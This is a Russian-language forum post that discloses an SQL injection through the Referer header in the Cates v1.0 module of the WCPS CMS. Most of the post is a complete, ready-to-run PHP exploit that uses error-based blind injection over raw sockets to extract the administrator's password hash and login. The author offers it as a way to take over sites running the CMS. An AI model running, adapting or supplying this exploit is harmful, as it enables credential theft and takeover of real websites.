|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
SQL injection в модуле Cates v1.0
Собственно уязвимость нахотся в файле mod\cates\stat.php а уязвимый код выглядит так:
Код:
@$query = "INSERT INTO $GLOBALS[wcpref]downlog VALUES ('$nma', '$idd', '$GLOBALS[REMOTE_ADDR]', '$GLOBALS[HTTP_REFERER]', '$GLOBALS[HTTP_USER_AGENT]', '$now')";
if (!mysql_query($query)){WCInfoView(7,mysql_error(),__FILE__." ".__LINE__);}
Никаких проверок ни у referer ни у User-Agent и о какое счастье вывод ошибки в запросе. Да я согласен отсутствие вывода огорчает, но, написав небольшой эксплоит, можно таки очень легко поиметь сайт на этой цмс. Ну и сам эксплоит вот:
Код:
<?php
/*----------------------------------------*\
Експлоит для модуля Cates v1.0 к cms WCPS
Автор: I-I()/Ib
\*----------------------------------------*/
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
//----------------------------------------//
set_time_limit(0);
function create_packet($num,$sumb,$znak,$column='user_pass'){
global $set;
$tmp="111',IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",(SELECT 1 UNION SELECT 2),0),'1')/*";
$header="GET ".$set["patch"]."/index.php?nma=cates&fla=stat&idd=1"." HTTP/1.0\r\n";
$header.="Accept-Language: en-us,en;q=0.5\r\n";
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
$header.="Referer: ".$tmp."\r\n";
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$header.="User-Agent: 1\r\n";
$header.="Connection: keep-alive\r\n";
$header.="Host: ".$set["host"]."\r\n\r\n";
return $header;
}
function logg($str){
echo($str.'<br>'."\r\n");
flush();
}
$ret='';
logg('<b>'.$set['host'].'</b>');
logg('Выдираем хеш...');
for($i=1;$i<=32;$i++){
$sred=0;
$tmp='';
$i2=0;
$i3=0;
$znak='>';
$mins=0;
$maxs=255;
while(1){
if($maxs-$mins>3){
$sred=round(($mins+$maxs)/2);
}else{
$sred=$mins+$i2;
$znak='=';
$i2=$i2+1;
if($mins>$maxs)break;
}
$header=create_packet($i,$sred,$znak);
$dt='';
$fp=fsockopen($set['host'], 80);
fwrite($fp, $header);
while(!feof($fp)){
$dt.=fread($fp, 1024);
}
fclose($fp);
if(substr_count($dt,'Subquery returns more than 1 row')){
if($znak==='>')$mins=$sred+1;
else if($znak==='='){
$ret.=chr($sred);
break;
}
}else{
if($znak==='>')$maxs=$sred;
}
if($i3>20)break;
else $i3++;
if(substr_count($dt,'doesn\'t exist'))die('Не верный префикс :(');
}
}
if(empty($ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
logg('Выдираем логин...');
$ret='';
for($i=1;$i<=25;$i++){
$sred=0;
$tmp='';
$i2=0;
$i3=0;
$znak='>';
$mins=0;
$maxs=255;
while(1){
if($maxs-$mins>3){
$sred=round(($mins+$maxs)/2);
}else{
$sred=$mins+$i2;
$znak='=';
$i2=$i2+1;
if($mins>$maxs)break;
}
$header=create_packet($i,$sred,$znak,'user_login');
$dt='';
$fp=fsockopen($set['host'], 80);
fwrite($fp, $header);
while(!feof($fp)){
$dt.=fread($fp, 1024);
}
fclose($fp);
if(substr_count($dt,'Subquery returns more than 1 row')){
if($znak==='>')$mins=$sred+1;
else if($znak==='='){
$ret.=chr($sred);
break;
}
}else{
if($znak==='>')$maxs=$sred;
}
if($i3>20)break;
else $i3++;
}
if(substr_count($ret,chr(0))){
$ret=str_replace(chr(0),'',$ret);
break;
}
}
if(empty($ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');
logg('Готово');
?>
__________________
Кто я?..
|